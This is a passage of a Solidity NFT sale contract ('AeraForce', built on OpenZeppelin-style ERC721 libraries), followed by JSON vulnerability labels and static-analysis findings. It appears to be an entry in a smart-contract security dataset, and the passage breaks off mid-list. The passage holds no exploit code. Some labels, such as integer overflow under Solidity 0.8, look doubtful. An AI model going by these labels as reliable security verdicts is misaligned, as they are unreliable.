memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; string private baseURI = ""; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _baseURI = baseURI; return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenId.toString())) : ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} function _setBaseURI(string memory baseURI_) internal { baseURI = baseURI_; } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721Burnable, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract AeraForce is Context, ERC721Enumerable, Ownable { using SafeMath for uint256; mapping ( address => uint256 ) public reserved; uint256 public totalReserved; address[] public investorsPending; uint256 public PRICE = 10 ether; uint256 public MAX_PURCHASE = 20; uint256 public constant MAX_TOKENS = 200; bool public saleIsActive = false; constructor () ERC721("Aeraforce", "AF") {} /* function to change de price */ function changePrice(uint256 price) public onlyOwner { PRICE = price; } /* function to change the max quantity to mint in one transaction */ function changeMaxPurchase(uint256 max) public onlyOwner { MAX_PURCHASE = max; } function withdraw() public onlyOwner { address payable sender = payable(_msgSender()); uint balance = address(this).balance; sender.transfer(balance); } function hadInvested(address investor) public view returns(bool) { if (balanceOf(investor) > 0 || reserved[investor] > 0 ) { return true; } return false; } function totalBalanceOf(address investor) public view returns(uint256) { return balanceOf(investor).add(reserved[investor]); } function getPendingInvestorIndex(address investor) internal view returns(int256) { uint256 len = investorsPending.length; for (uint256 i = 0; i < len; i++) { if ( investorsPending[i]== investor ) { return int256(i); } } return -1; } function toggleSale() public onlyOwner { saleIsActive = !saleIsActive; } function reserveTokens(address owner, uint256 numberOfTokens) internal { reserved[owner] = reserved[owner].add(numberOfTokens); totalReserved = totalReserved.add(numberOfTokens); int256 index = getPendingInvestorIndex(owner); if ( index == -1 ) { investorsPending.push(owner); } } function getInvestorPending() public view returns (address[] memory) { uint256 len = investorsPending.length; address[] memory ret = new address[](len); for (uint256 i = 0; i < len; i++) { ret[i] = investorsPending[i]; } return ret; } function reserve(uint256 numberOfTokens) public payable { uint256 total = totalSupply().add(numberOfTokens).add(totalReserved); require(saleIsActive, "Sale must be active to reserve NFT"); require(numberOfTokens <= MAX_PURCHASE, "Exceed the number of tokens able to reserve"); require(PRICE.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); require(total < MAX_TOKENS, "Sold Out"); reserveTokens(_msgSender(), numberOfTokens); } function cancelReserve(address payable investor) public onlyOwner { uint256 numberOfTokens = reserved[investor]; int256 index = getPendingInvestorIndex(investor); require (index != -1, "Invalid investor"); investorsPending[uint256(index)] = investorsPending[investorsPending.length - 1]; investorsPending.pop(); totalReserved = totalReserved.sub(numberOfTokens); delete reserved[investor]; investor.transfer(PRICE.mul(numberOfTokens)); } function release(address investor) public onlyOwner { uint256 numberOfTokens = reserved[investor]; int256 index = getPendingInvestorIndex(investor); require (index != -1, "Invalid investor"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_TOKENS) { _safeMint(investor, mintIndex); } } investorsPending[uint256(index)] = investorsPending[investorsPending.length - 1]; investorsPending.pop(); totalReserved = totalReserved.sub(numberOfTokens); delete reserved[investor]; } function totalAllocated() public view returns (uint256) { return totalReserved.add(totalSupply()); } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["1551", "1480"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1560"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["382"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1223", "1478", "477", "455"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["576"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["969", "1209", "580", "48", "1028", "1183", "1198", "882"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1515", "849", "848", "790", "816"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [404, 405, 406, 407]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"AeraForce.sol": [905, 906, 907]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1155]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1129]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1154]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1283, 1284, 1285, 1286, 1287, 1288]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [256, 251, 252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [305, 306, 307, 308, 309, 310, 311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1295, 1296, 1297, 1298, 1299, 1300]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [384, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [480, 481, 482, 483, 484, 473, 474, 475, 476, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [365, 366, 367]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1241, 1242, 1243, 1244, 1245, 1246, 1247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1440, 1441, 1442, 1443, 1444, 1445, 1436, 1437, 1438, 1439]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [433, 434, 435]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [338, 339, 340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1370, 1371, 1372]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1354, 1355, 1356]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"AeraForce.sol": [1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276]}}, {"check": 